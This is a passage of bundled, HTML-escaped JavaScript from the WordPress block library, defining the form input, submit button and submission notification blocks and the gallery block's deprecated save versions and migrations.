      description: (0, import_i18n70.__)(&quot;Used for phone numbers.&quot;),
      attributes: { type: &quot;tel&quot; },
      isDefault: true,
      scope: [&quot;inserter&quot;, &quot;transform&quot;],
      isActive: (blockAttributes8) =&gt; blockAttributes8?.type === &quot;tel&quot;
    },
    {
      name: &quot;number&quot;,
      title: (0, import_i18n70.__)(&quot;Number Input&quot;),
      description: (0, import_i18n70.__)(&quot;A numeric input.&quot;),
      attributes: { type: &quot;number&quot; },
      isDefault: true,
      scope: [&quot;inserter&quot;, &quot;transform&quot;],
      isActive: (blockAttributes8) =&gt; blockAttributes8?.type === &quot;number&quot;
    }
  ];
  var variations_default6 = variations6;

  // packages/block-library/build-module/form-input/icons.mjs
  var import_primitives158 = __toESM(require_primitives(), 1);
  var import_jsx_runtime249 = __toESM(require_jsx_runtime(), 1);
  var icon2 = /* @__PURE__ */ (0, import_jsx_runtime249.jsx)(import_primitives158.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime249.jsx)(import_primitives158.Path, { d: &quot;M5.547 18.892A.99.99 0 0 0 6 19h.72v1H6a1.99 1.99 0 0 1-.908-.22l.455-.888ZM9.12 20H7.68v-1h1.44v1Zm2.4 0h-1.44v-1h1.44v1Zm2.4 0h-1.44v-1h1.44v1Zm2.4 0h-1.44v-1h1.44v1Zm2.587-.22c-.272.14-.58.22-.907.22h-.72v-1H18a.99.99 0 0 0 .453-.108l.454.888ZM5.108 17.547a.99.99 0 0 0 0 .906l-.89.454a1.99 1.99 0 0 1 0-1.815l.89.455Zm14.672-.455a1.99 1.99 0 0 1 0 1.815l-.888-.454a.99.99 0 0 0 0-.906l.888-.455ZM6.72 17H6a.99.99 0 0 0-.453.108l-.455-.89A1.99 1.99 0 0 1 6 16h.72v1ZM18 16c.327 0 .635.08.907.219l-.454.89A.99.99 0 0 0 18 17h-.72v-1H18Zm-8.88 1H7.68v-1h1.44v1Zm2.4 0h-1.44v-1h1.44v1Zm2.4 0h-1.44v-1h1.44v1Zm2.4 0h-1.44v-1h1.44v1ZM5.5 14.28H4.25v-1H5.5v1Zm2.5 0H6.5v-1H8v1Zm2.5 0H9v-1h1.5v1Zm2.25 0H11.5v-1h1.25v1ZM18 7a2 2 0 1 1 0 4H6a2 2 0 1 1 0-4h12ZM6 8.5a.5.5 0 0 0 0 1h12a.5.5 0 0 0 0-1H6Zm7-3H4V4h9v1.5Z&quot; }) });

  // packages/block-library/build-module/form-input/index.mjs
  var { name: name35 } = block_default35;
  var settings35 = {
    icon: icon2,
    deprecated: deprecated_default18,
    edit: edit_default12,
    save: save19,
    variations: variations_default6,
    example: {}
  };
  var init35 = () =&gt; initBlock({ name: name35, metadata: block_default35, settings: settings35 });

  // packages/block-library/build-module/form-submit-button/index.mjs
  var form_submit_button_exports = {};
  __export(form_submit_button_exports, {
    init: () =&gt; init36,
    metadata: () =&gt; block_default36,
    name: () =&gt; name36,
    settings: () =&gt; settings36
  });

  // packages/block-library/build-module/form-submit-button/edit.mjs
  var import_i18n71 = __toESM(require_i18n(), 1);
  var import_block_editor88 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime250 = __toESM(require_jsx_runtime(), 1);
  var TEMPLATE7 = [
    [
      &quot;core/buttons&quot;,
      {},
      [
        [
          &quot;core/button&quot;,
          {
            text: (0, import_i18n71.__)(&quot;Submit&quot;),
            tagName: &quot;button&quot;,
            type: &quot;submit&quot;
          }
        ]
      ]
    ]
  ];
  var Edit14 = () =&gt; {
    const blockProps = (0, import_block_editor88.useBlockProps)();
    const innerBlocksProps = (0, import_block_editor88.useInnerBlocksProps)(blockProps, {
      template: TEMPLATE7,
      templateLock: &quot;all&quot;
    });
    return /* @__PURE__ */ (0, import_jsx_runtime250.jsx)(&quot;div&quot;, { className: &quot;wp-block-form-submit-wrapper&quot;, ...innerBlocksProps });
  };
  var edit_default13 = Edit14;

  // packages/block-library/build-module/form-submit-button/block.json
  var block_default36 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    __experimental: true,
    name: &quot;core/form-submit-button&quot;,
    title: &quot;Form Submit Button&quot;,
    category: &quot;common&quot;,
    icon: &quot;button&quot;,
    ancestor: [&quot;core/form&quot;],
    allowedBlocks: [&quot;core/buttons&quot;, &quot;core/button&quot;],
    description: &quot;A submission button for forms.&quot;,
    keywords: [&quot;submit&quot;, &quot;button&quot;, &quot;form&quot;],
    textdomain: &quot;default&quot;,
    style: [&quot;wp-block-form-submit-button&quot;]
  };

  // packages/block-library/build-module/form-submit-button/save.mjs
  var import_block_editor89 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime251 = __toESM(require_jsx_runtime(), 1);
  function save20() {
    const blockProps = import_block_editor89.useBlockProps.save();
    return /* @__PURE__ */ (0, import_jsx_runtime251.jsx)(&quot;div&quot;, { className: &quot;wp-block-form-submit-wrapper&quot;, ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime251.jsx)(import_block_editor89.InnerBlocks.Content, {}) });
  }

  // packages/block-library/build-module/form-submit-button/index.mjs
  var { name: name36 } = block_default36;
  var settings36 = {
    edit: edit_default13,
    save: save20,
    example: {}
  };
  var init36 = () =&gt; initBlock({ name: name36, metadata: block_default36, settings: settings36 });

  // packages/block-library/build-module/form-submission-notification/index.mjs
  var form_submission_notification_exports = {};
  __export(form_submission_notification_exports, {
    init: () =&gt; init37,
    metadata: () =&gt; block_default37,
    name: () =&gt; name37,
    settings: () =&gt; settings37
  });

  // packages/block-library/build-module/form-submission-notification/edit.mjs
  var import_i18n72 = __toESM(require_i18n(), 1);
  var import_block_editor90 = __toESM(require_block_editor(), 1);
  var import_data36 = __toESM(require_data(), 1);
  var import_jsx_runtime252 = __toESM(require_jsx_runtime(), 1);
  var TEMPLATE8 = [
    [
      &quot;core/paragraph&quot;,
      {
        content: (0, import_i18n72.__)(
          &quot;Enter the message you wish displayed for form submission error/success, and select the type of the message (success/error) from the block&#039;s options.&quot;
        )
      }
    ]
  ];
  var Edit15 = ({ attributes: attributes2, clientId }) =&gt; {
    const { type } = attributes2;
    const blockProps = (0, import_block_editor90.useBlockProps)({
      className: clsx_default(&quot;wp-block-form-submission-notification&quot;, {
        [`form-notification-type-${type}`]: type
      })
    });
    const { hasInnerBlocks } = (0, import_data36.useSelect)(
      (select9) =&gt; {
        const { getBlock } = select9(import_block_editor90.store);
        const block = getBlock(clientId);
        return {
          hasInnerBlocks: !!(block &amp;&amp; block.innerBlocks.length)
        };
      },
      [clientId]
    );
    const innerBlocksProps = (0, import_block_editor90.useInnerBlocksProps)(blockProps, {
      template: TEMPLATE8,
      renderAppender: hasInnerBlocks ? void 0 : import_block_editor90.InnerBlocks.ButtonBlockAppender
    });
    return /* @__PURE__ */ (0, import_jsx_runtime252.jsx)(
      &quot;div&quot;,
      {
        ...innerBlocksProps,
        &quot;data-message-success&quot;: (0, import_i18n72.__)(&quot;Submission success notification&quot;),
        &quot;data-message-error&quot;: (0, import_i18n72.__)(&quot;Submission error notification&quot;)
      }
    );
  };
  var edit_default14 = Edit15;

  // packages/block-library/build-module/form-submission-notification/block.json
  var block_default37 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    __experimental: true,
    name: &quot;core/form-submission-notification&quot;,
    title: &quot;Form Submission Notification&quot;,
    category: &quot;common&quot;,
    ancestor: [&quot;core/form&quot;],
    description: &quot;Provide a notification message after the form has been submitted.&quot;,
    keywords: [&quot;form&quot;, &quot;feedback&quot;, &quot;notification&quot;, &quot;message&quot;],
    textdomain: &quot;default&quot;,
    icon: &quot;feedback&quot;,
    attributes: {
      type: {
        type: &quot;string&quot;,
        default: &quot;success&quot;
      }
    }
  };

  // packages/block-library/build-module/form-submission-notification/save.mjs
  var import_block_editor91 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime253 = __toESM(require_jsx_runtime(), 1);
  function save21({ attributes: attributes2 }) {
    const { type } = attributes2;
    return /* @__PURE__ */ (0, import_jsx_runtime253.jsx)(
      &quot;div&quot;,
      {
        ...import_block_editor91.useInnerBlocksProps.save(
          import_block_editor91.useBlockProps.save({
            className: clsx_default(&quot;wp-block-form-submission-notification&quot;, {
              [`form-notification-type-${type}`]: type
            })
          })
        )
      }
    );
  }

  // packages/block-library/build-module/form-submission-notification/variations.mjs
  var import_i18n73 = __toESM(require_i18n(), 1);
  var variations7 = [
    {
      name: &quot;form-submission-success&quot;,
      title: (0, import_i18n73.__)(&quot;Form Submission Success&quot;),
      description: (0, import_i18n73.__)(&quot;Success message for form submissions.&quot;),
      attributes: {
        type: &quot;success&quot;
      },
      isDefault: true,
      innerBlocks: [
        [
          &quot;core/paragraph&quot;,
          {
            content: (0, import_i18n73.__)(&quot;Your form has been submitted successfully.&quot;),
            backgroundColor: &quot;#00D084&quot;,
            textColor: &quot;#000000&quot;,
            style: {
              elements: { link: { color: { text: &quot;#000000&quot; } } }
            }
          }
        ]
      ],
      scope: [&quot;inserter&quot;, &quot;transform&quot;],
      isActive: (blockAttributes8) =&gt; !blockAttributes8?.type || blockAttributes8?.type === &quot;success&quot;
    },
    {
      name: &quot;form-submission-error&quot;,
      title: (0, import_i18n73.__)(&quot;Form Submission Error&quot;),
      description: (0, import_i18n73.__)(&quot;Error/failure message for form submissions.&quot;),
      attributes: {
        type: &quot;error&quot;
      },
      isDefault: false,
      innerBlocks: [
        [
          &quot;core/paragraph&quot;,
          {
            content: (0, import_i18n73.__)(&quot;There was an error submitting your form.&quot;),
            backgroundColor: &quot;#CF2E2E&quot;,
            textColor: &quot;#FFFFFF&quot;,
            style: {
              elements: { link: { color: { text: &quot;#FFFFFF&quot; } } }
            }
          }
        ]
      ],
      scope: [&quot;inserter&quot;, &quot;transform&quot;],
      isActive: (blockAttributes8) =&gt; !blockAttributes8?.type || blockAttributes8?.type === &quot;error&quot;
    }
  ];
  var variations_default7 = variations7;

  // packages/block-library/build-module/form-submission-notification/index.mjs
  var { name: name37 } = block_default37;
  var settings37 = {
    icon: group_default,
    edit: edit_default14,
    save: save21,
    variations: variations_default7,
    example: {}
  };
  var init37 = () =&gt; initBlock({ name: name37, metadata: block_default37, settings: settings37 });

  // packages/block-library/build-module/gallery/index.mjs
  var gallery_exports = {};
  __export(gallery_exports, {
    init: () =&gt; init38,
    metadata: () =&gt; block_default38,
    name: () =&gt; name38,
    settings: () =&gt; settings38
  });

  // packages/block-library/build-module/gallery/deprecated.mjs
  var import_block_editor92 = __toESM(require_block_editor(), 1);
  var import_blocks29 = __toESM(require_blocks(), 1);

  // packages/block-library/build-module/gallery/constants.mjs
  var LINK_DESTINATION_NONE = &quot;none&quot;;
  var LINK_DESTINATION_MEDIA = &quot;media&quot;;
  var LINK_DESTINATION_LIGHTBOX = &quot;lightbox&quot;;
  var LINK_DESTINATION_ATTACHMENT = &quot;attachment&quot;;
  var LINK_DESTINATION_MEDIA_WP_CORE = &quot;file&quot;;
  var LINK_DESTINATION_ATTACHMENT_WP_CORE = &quot;post&quot;;
  var DEFAULT_MEDIA_SIZE_SLUG2 = &quot;large&quot;;

  // packages/block-library/build-module/gallery/deprecated.mjs
  var import_jsx_runtime254 = __toESM(require_jsx_runtime(), 1);
  var DEPRECATED_LINK_DESTINATION_MEDIA = &quot;file&quot;;
  var DEPRECATED_LINK_DESTINATION_ATTACHMENT = &quot;post&quot;;
  function defaultColumnsNumberV1(attributes2) {
    return Math.min(3, attributes2?.images?.length);
  }
  function getHrefAndDestination(image, destination) {
    switch (destination) {
      case DEPRECATED_LINK_DESTINATION_MEDIA:
        return {
          href: image?.source_url || image?.url,
          linkDestination: LINK_DESTINATION_MEDIA
        };
      case DEPRECATED_LINK_DESTINATION_ATTACHMENT:
        return {
          href: image?.link,
          linkDestination: LINK_DESTINATION_ATTACHMENT
        };
      case LINK_DESTINATION_MEDIA:
        return {
          href: image?.source_url || image?.url,
          linkDestination: LINK_DESTINATION_MEDIA
        };
      case LINK_DESTINATION_ATTACHMENT:
        return {
          href: image?.link,
          linkDestination: LINK_DESTINATION_ATTACHMENT
        };
      case LINK_DESTINATION_NONE:
        return {
          href: void 0,
          linkDestination: LINK_DESTINATION_NONE
        };
    }
    return {};
  }
  function runV2Migration(attributes2) {
    let linkTo = attributes2.linkTo ? attributes2.linkTo : &quot;none&quot;;
    if (linkTo === &quot;post&quot;) {
      linkTo = &quot;attachment&quot;;
    } else if (linkTo === &quot;file&quot;) {
      linkTo = &quot;media&quot;;
    }
    const imageBlocks = attributes2.images.map((image) =&gt; {
      return getImageBlock(image, attributes2.sizeSlug, linkTo);
    });
    const { images, ids, ...restAttributes } = attributes2;
    return [
      {
        ...restAttributes,
        linkTo,
        allowResize: false
      },
      imageBlocks
    ];
  }
  function getImageBlock(image, sizeSlug, linkTo) {
    return (0, import_blocks29.createBlock)(&quot;core/image&quot;, {
      ...image.id &amp;&amp; { id: parseInt(image.id) },
      url: image.url,
      alt: image.alt,
      caption: image.caption,
      sizeSlug,
      ...getHrefAndDestination(image, linkTo)
    });
  }
  var v72 = {
    attributes: {
      images: {
        type: &quot;array&quot;,
        default: [],
        source: &quot;query&quot;,
        selector: &quot;.blocks-gallery-item&quot;,
        query: {
          url: {
            type: &quot;string&quot;,
            source: &quot;attribute&quot;,
            selector: &quot;img&quot;,
            attribute: &quot;src&quot;
          },
          fullUrl: {
            type: &quot;string&quot;,
            source: &quot;attribute&quot;,
            selector: &quot;img&quot;,
            attribute: &quot;data-full-url&quot;
          },
          link: {
            type: &quot;string&quot;,
            source: &quot;attribute&quot;,
            selector: &quot;img&quot;,
            attribute: &quot;data-link&quot;
          },
          alt: {
            type: &quot;string&quot;,
            source: &quot;attribute&quot;,
            selector: &quot;img&quot;,
            attribute: &quot;alt&quot;,
            default: &quot;&quot;
          },
          id: {
            type: &quot;string&quot;,
            source: &quot;attribute&quot;,
            selector: &quot;img&quot;,
            attribute: &quot;data-id&quot;
          },
          caption: {
            type: &quot;string&quot;,
            source: &quot;html&quot;,
            selector: &quot;.blocks-gallery-item__caption&quot;
          }
        }
      },
      ids: {
        type: &quot;array&quot;,
        items: {
          type: &quot;number&quot;
        },
        default: []
      },
      shortCodeTransforms: {
        type: &quot;array&quot;,
        default: [],
        items: {
          type: &quot;object&quot;
        }
      },
      columns: {
        type: &quot;number&quot;,
        minimum: 1,
        maximum: 8
      },
      caption: {
        type: &quot;string&quot;,
        source: &quot;html&quot;,
        selector: &quot;.blocks-gallery-caption&quot;
      },
      imageCrop: {
        type: &quot;boolean&quot;,
        default: true
      },
      fixedHeight: {
        type: &quot;boolean&quot;,
        default: true
      },
      linkTarget: {
        type: &quot;string&quot;
      },
      linkTo: {
        type: &quot;string&quot;
      },
      sizeSlug: {
        type: &quot;string&quot;,
        default: &quot;large&quot;
      },
      allowResize: {
        type: &quot;boolean&quot;,
        default: false
      }
    },
    save({ attributes: attributes2 }) {
      const { caption, columns, imageCrop } = attributes2;
      const className = clsx_default(&quot;has-nested-images&quot;, {
        [`columns-${columns}`]: columns !== void 0,
        [`columns-default`]: columns === void 0,
        &quot;is-cropped&quot;: imageCrop
      });
      const blockProps = import_block_editor92.useBlockProps.save({ className });
      const innerBlocksProps = import_block_editor92.useInnerBlocksProps.save(blockProps);
      return /* @__PURE__ */ (0, import_jsx_runtime254.jsxs)(&quot;figure&quot;, { ...innerBlocksProps, children: [
        innerBlocksProps.children,
        !import_block_editor92.RichText.isEmpty(caption) &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime254.jsx)(
          import_block_editor92.RichText.Content,
          {
            tagName: &quot;figcaption&quot;,
            className: &quot;blocks-gallery-caption&quot;,
            value: caption
          }
        )
      ] });
    }
  };
  var v62 = {
    attributes: {
      images: {
        type: &quot;array&quot;,
        default: [],
        source: &quot;query&quot;,
        selector: &quot;.blocks-gallery-item&quot;,
        query: {
          url: {
            type: &quot;string&quot;,
            source: &quot;attribute&quot;,
            selector: &quot;img&quot;,
            attribute: &quot;src&quot;
          },
          fullUrl: {
            type: &quot;string&quot;,
            source: &quot;attribute&quot;,
            selector: &quot;img&quot;,
            attribute: &quot;data-full-url&quot;
          },
          link: {
            type: &quot;string&quot;,
            source: &quot;attribute&quot;,
            selector: &quot;img&quot;,
            attribute: &quot;data-link&quot;
          },
          alt: {
            type: &quot;string&quot;,
            source: &quot;attribute&quot;,
            selector: &quot;img&quot;,
            attribute: &quot;alt&quot;,
            default: &quot;&quot;
          },
          id: {
            type: &quot;string&quot;,
            source: &quot;attribute&quot;,
            selector: &quot;img&quot;,
            attribute: &quot;data-id&quot;
          },
          caption: {
            type: &quot;string&quot;,
            source: &quot;html&quot;,
            selector: &quot;.blocks-gallery-item__caption&quot;
          }
        }
      },
      ids: {
        type: &quot;array&quot;,
        items: {
          type: &quot;number&quot;
        },
        default: []
      },
      columns: {
        type: &quot;number&quot;,
        minimum: 1,
        maximum: 8
      },
      caption: {
        type: &quot;string&quot;,
        source: &quot;html&quot;,
        selector: &quot;.blocks-gallery-caption&quot;
      },
      imageCrop: {
        type: &quot;boolean&quot;,
        default: true
      },
      fixedHeight: {
        type: &quot;boolean&quot;,
        default: true
      },
      linkTo: {
        type: &quot;string&quot;
      },
      sizeSlug: {
        type: &quot;string&quot;,
        default: &quot;large&quot;
      }
    },
    supports: {
      anchor: true,
      align: true
    },
    save({ attributes: attributes2 }) {
      const {
        images,
        columns = defaultColumnsNumberV1(attributes2),
        imageCrop,
        caption,
        linkTo
      } = attributes2;
      const className = `columns-${columns} ${imageCrop ? &quot;is-cropped&quot; : &quot;&quot;}`;
      return /* @__PURE__ */ (0, import_jsx_runtime254.jsxs)(&quot;figure&quot;, { ...import_block_editor92.useBlockProps.save({ className }), children: [
        /* @__PURE__ */ (0, import_jsx_runtime254.jsx)(&quot;ul&quot;, { className: &quot;blocks-gallery-grid&quot;, children: images.map((image) =&gt; {
          let href;
          switch (linkTo) {
            case DEPRECATED_LINK_DESTINATION_MEDIA:
              href = image.fullUrl || image.url;
              break;
            case DEPRECATED_LINK_DESTINATION_ATTACHMENT:
              href = image.link;
              break;
          }
          const img = /* @__PURE__ */ (0, import_jsx_runtime254.jsx)(
            &quot;img&quot;,
            {
              src: image.url,
              alt: image.alt,
              &quot;data-id&quot;: image.id,
              &quot;data-full-url&quot;: image.fullUrl,
              &quot;data-link&quot;: image.link,
              className: image.id ? `wp-image-${image.id}` : null
            }
          );
          return /* @__PURE__ */ (0, import_jsx_runtime254.jsx)(
            &quot;li&quot;,
            {
              className: &quot;blocks-gallery-item&quot;,
              children: /* @__PURE__ */ (0, import_jsx_runtime254.jsxs)(&quot;figure&quot;, { children: [
                href ? /* @__PURE__ */ (0, import_jsx_runtime254.jsx)(&quot;a&quot;, { href, children: img }) : img,
                !import_block_editor92.RichText.isEmpty(image.caption) &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime254.jsx)(
                  import_block_editor92.RichText.Content,
                  {
                    tagName: &quot;figcaption&quot;,
                    className: &quot;blocks-gallery-item__caption&quot;,
                    value: image.caption
                  }
                )
              ] })
            },
            image.id || image.url
          );
        }) }),
        !import_block_editor92.RichText.isEmpty(caption) &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime254.jsx)(
          import_block_editor92.RichText.Content,
          {
            tagName: &quot;figcaption&quot;,
            className: &quot;blocks-gallery-caption&quot;,
            value: caption
          }
        )
      ] });
    },
    migrate(attributes2) {
      return runV2Migration(attributes2);
    }
  };
  var v52 = {
    attributes: {
      images: {
        type: &quot;array&quot;,
        default: [],
        source: &quot;query&quot;,
        selector: &quot;.blocks-gallery-item&quot;,
        query: {
          url: {
            type: &quot;string&quot;,
            source: &quot;attribute&quot;,
            selector: &quot;img&quot;,
            attribute: &quot;src&quot;
          },
          fullUrl: {
            type: &quot;string&quot;,
            source: &quot;attribute&quot;,
            selector: &quot;img&quot;,
            attribute: &quot;data-full-url&quot;
          },
          link: {
            type: &quot;string&quot;,
            source: &quot;attribute&quot;,
            selector: &quot;img&quot;,
            attribute: &quot;data-link&quot;
          },
          alt: {
            type: &quot;string&quot;,
            source: &quot;attribute&quot;,
            selector: &quot;img&quot;,
            attribute: &quot;alt&quot;,
            default: &quot;&quot;
          },
          id: {
            type: &quot;string&quot;,
            source: &quot;attribute&quot;,
            selector: &quot;img&quot;,
            attribute: &quot;data-id&quot;
          },
          caption: {
            type: &quot;string&quot;,
            source: &quot;html&quot;,
            selector: &quot;.blocks-gallery-item__caption&quot;
          }
        }
      },
      ids: {
        type: &quot;array&quot;,
        items: {
          type: &quot;number&quot;
        },
        default: []
      },
      columns: {
        type: &quot;number&quot;,
        minimum: 1,
        maximum: 8
      },
      caption: {
        type: &quot;string&quot;,
        source: &quot;html&quot;,
        selector: &quot;.blocks-gallery-caption&quot;
      },
      imageCrop: {
        type: &quot;boolean&quot;,
        default: true
      },
      linkTo: {
        type: &quot;string&quot;,
        default: &quot;none&quot;
      },
      sizeSlug: {
        type: &quot;string&quot;,
        default: &quot;large&quot;
      }
    },
    supports: {
      align: true
    },
    isEligible({ linkTo }) {
      return !linkTo || linkTo === &quot;attachment&quot; || linkTo === &quot;media&quot;;
    },
    migrate(attributes2) {
      return runV2Migration(attributes2);
    },
    save({ attributes: attributes2 }) {
      const {
        images,
        columns = defaultColumnsNumberV1(attributes2),
        imageCrop,
        caption,
        linkTo
      } = attributes2;
      return /* @__PURE__ */ (0, import_jsx_runtime254.jsxs)(
        &quot;figure&quot;,
        {
          className: `columns-${columns} ${imageCrop ? &quot;is-cropped&quot; : &quot;&quot;}`,
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime254.jsx)(&quot;ul&quot;, { className: &quot;blocks-gallery-grid&quot;, children: images.map((image) =&gt; {
              let href;
              switch (linkTo) {
                case &quot;media&quot;:
                  href = image.fullUrl || image.url;
                  break;
                case &quot;attachment&quot;:
                  href = image.link;
                  break;
              }
              const img = /* @__PURE__ */ (0, import_jsx_runtime254.jsx)(
                &quot;img&quot;,
                {
                  src: image.url,
                  alt: image.alt,
                  &quot;data-id&quot;: image.id,
                  &quot;data-full-url&quot;: image.fullUrl,
                  &quot;data-link&quot;: image.link,
                  className: image.id ? `wp-image-${image.id}` : null
                }
              );
              return /* @__PURE__ */ (0, import_jsx_runtime254.jsx)(
                &quot;li&quot;,
                {
                  className: &quot;blocks-gallery-item&quot;,
                  children: /* @__PURE__ */ (0, import_jsx_runtime254.jsxs)(&quot;figure&quot;, { children: [
                    href ? /* @__PURE__ */ (0, import_jsx_runtime254.jsx)(&quot;a&quot;, { href, children: img }) : img,
                    !import_block_editor92.RichText.isEmpty(image.caption) &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime254.jsx)(
                      import_block_editor92.RichText.Content,
                      {
                        tagName: &quot;figcaption&quot;,
                        className: &quot;blocks-gallery-item__caption&quot;,
                        value: image.caption
                      }
                    )
                  ] })
                },
                image.id || image.url
              );
            }) }),
            !import_block_editor92.RichText.isEmpty(caption) &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime254.jsx)(
              import_block_editor92.RichText.Content,
              {
                tagName: &quot;figcaption&quot;,
                className: &quot;blocks-gallery-caption&quot;,
                value: caption
              }
            )
          ]
        }
      );
    }
  };
  var v42 = {
    attributes: {
      images: {
        type: &quot;array&quot;,
        default: [],
        source: &quot;query&quot;,
        selector: &quot;.blocks-gallery-item&quot;,
        query: {
          url: {
            source: &quot;attribute&quot;,
            selector: &quot;img&quot;,
            attribute: &quot;src&quot;
          },
          fullUrl: {
            source: &quot;attribute&quot;,
            selector: &quot;img&quot;,
            attribute: &quot;data-full-url&quot;
          },
          link: {
            source: &quot;attribute&quot;,
            selector: &quot;img&quot;,
            attribute: &quot;data-link&quot;
          },
          alt: {
            source: &quot;attribute&quot;,
            selector: &quot;img&quot;,
            attribute: &quot;alt&quot;,
            default: &quot;&quot;
          },
          id: {
            source: &quot;attribute&quot;,
            selector: &quot;img&quot;,
            attribute: &quot;data-id&quot;
          },
          caption: {
            type: &quot;string&quot;,
            source: &quot;html&quot;,
            selector: &quot;.blocks-gallery-item__caption&quot;
          }
        }
      },
      ids: {
        type: &quot;array&quot;,
        default: []
      },
      columns: {
        type: &quot;number&quot;
      },
      caption: {
        type: &quot;string&quot;,
        source: &quot;html&quot;,
        selector: &quot;.blocks-gallery-caption&quot;
      },
      imageCrop: {
        type: &quot;boolean&quot;,
        default: true
      },
      linkTo: {
        type: &quot;string&quot;,
        default: &quot;none&quot;
      }
    },
    supports: {
      align: true
    },
    isEligible({ ids }) {
      return ids &amp;&amp; ids.some((id) =&gt; typeof id === &quot;string&quot;);
    },
    migrate(attributes2) {
      return runV2Migration(attributes2);
    },
    save({ attributes: attributes2 }) {
      const {
        images,
        columns = defaultColumnsNumberV1(attributes2),
        imageCrop,
        caption,
        linkTo
      } = attributes2;
      return /* @__PURE__ */ (0, import_jsx_runtime254.jsxs)(
        &quot;figure&quot;,
        {
          className: `columns-${columns} ${imageCrop ? &quot;is-cropped&quot; : &quot;&quot;}`,
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime254.jsx)(&quot;ul&quot;, { className: &quot;blocks-gallery-grid&quot;, children: images.map((image) =&gt; {
              let href;
              switch (linkTo) {
                case &quot;media&quot;:
                  href = image.fullUrl || image.url;
                  break;
                case &quot;attachment&quot;:
                  href = image.link;
                  break;
              }
              const img = /* @__PURE__ */ (0, import_jsx_runtime254.jsx)(
                &quot;img&quot;,
                {
                  src: image.url,
                  alt: image.alt,
                  &quot;data-id&quot;: image.id,
                  &quot;data-full-url&quot;: image.fullUrl,
                  &quot;data-link&quot;: image.link,
                  className: image.id ? `wp-image-${image.id}` : null
                }
              );
              return /* @__PURE__ */ (0, import_jsx_runtime254.jsx)(
                &quot;li&quot;,
                {
                  className: &quot;blocks-gallery-item&quot;,
                  children: /* @__PURE__ */ (0, import_jsx_runtime254.jsxs)(&quot;figure&quot;, { children: [
                    href ? /* @__PURE__ */ (0, import_jsx_runtime254.jsx)(&quot;a&quot;, { href, children: img }) : img,
                    !import_block_editor92.RichText.isEmpty(image.caption) &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime254.jsx)(
                      import_block_editor92.RichText.Content,
                      {
                        tagName: &quot;figcaption&quot;,
                        className: &quot;blocks-gallery-item__caption&quot;,
                        value: image.caption
                      }
                    )
                  ] })
                },
                image.id || image.url
              );
            }) }),
            !import_block_editor92.RichText.isEmpty(caption) &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime254.jsx)(
              import_block_editor92.RichText.Content,
              {
                tagName: &quot;figcaption&quot;,
                className: &quot;blocks-gallery-caption&quot;,
                value: caption
              }
            )
          ]
        }
      );
    }
  };
  var v33 = {
    attributes: {
      images: {
        type: &quot;array&quot;,
        default: [],
        source: &quot;query&quot;,
        selector: &quot;ul.wp-block-gallery .blocks-gallery-item&quot;,
        query: {
          url: {
            source: &quot;attribute&quot;,
            selector: &quot;img&quot;,
            attribute: &quot;src&quot;
          },
          fullUrl: {
            source: &quot;attribute&quot;,
            selector: &quot;img&quot;,
            attribute: &quot;data-full-url&quot;
          },
          alt: {
            source: &quot;attribute&quot;,
            selector: &quot;img&quot;,
            attribute: &quot;alt&quot;,
            default: &quot;&quot;
          },
          id: {
            source: &quot;attribute&quot;,
            selector: &quot;img&quot;,
            attribute: &quot;data-id&quot;
          },
          link: {
            source: &quot;attribute&quot;,
            selector: &quot;img&quot;,
            attribute: &quot;data-link&quot;
          },
          caption: {
            type: &quot;string&quot;,
            source: &quot;html&quot;,
            selector: &quot;figcaption&quot;
          }
        }
      },
      ids: {
        type: &quot;array&quot;,
        default: []
      },
      columns: {
        type: &quot;number&quot;
      },
      imageCrop: {
        type: &quot;boolean&quot;,
        default: true
      },
      linkTo: {
        type: &quot;string&quot;,
        default: &quot;none&quot;
      }
    },
    supports: {
      align: true
    },
    save({ attributes: attributes2 }) {
      const {
        images,
        columns = defaultColumnsNumberV1(attributes2),
        imageCrop,
        linkTo
      } = attributes2;
      return /* @__PURE__ */ (0, import_jsx_runtime254.jsx)(
        &quot;ul&quot;,
        {
          className: `columns-${columns} ${imageCrop ? &quot;is-cropped&quot; : &quot;&quot;}`,
          children: images.map((image) =&gt; {
            let href;
            switch (linkTo) {
              case &quot;media&quot;:
                href = image.fullUrl || image.url;
                break;
              case &quot;attachment&quot;:
                href = image.link;
                break;
            }
            const img = /* @__PURE__ */ (0, import_jsx_runtime254.jsx)(
              &quot;img&quot;,
              {
                src: image.url,
                alt: image.alt,
                &quot;data-id&quot;: image.id,
                &quot;data-full-url&quot;: image.fullUrl,
                &quot;data-link&quot;: image.link,
                className: image.id ? `wp-image-${image.id}` : null
              }
            );
            return /* @__PURE__ */ (0, import_jsx_runtime254.jsx)(
              &quot;li&quot;,
              {
                className: &quot;blocks-gallery-item&quot;,
                children: /* @__PURE__ */ (0, import_jsx_runtime254.jsxs)(&quot;figure&quot;, { children: [
                  href ? /* @__PURE__ */ (0, import_jsx_runtime254.jsx)(&quot;a&quot;, { href, children: img }) : img,
                  image.caption &amp;&amp; image.caption.length &gt; 0 &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime254.jsx)(
                    import_block_editor92.RichText.Content,
                    {
                      tagName: &quot;figcaption&quot;,
                      value: image.caption
                    }
                  )
                ] })
              },
              image.id || image.url
            );
          })
        }
      );
    },
    migrate(attributes2) {
      return runV2Migration(attributes2);
    }
  };
  var v28 = {
    attributes: {
      images: {
        type: &quot;array&quot;,
        default: [],
        source: &quot;query&quot;,
        selector: &quot;ul.wp-block-gallery .blocks-gallery-item&quot;,
        query: {
          url: {
            source: &quot;attribute&quot;,
            selector: &quot;img&quot;,
            attribute: &quot;src&quot;
          },
          alt: {
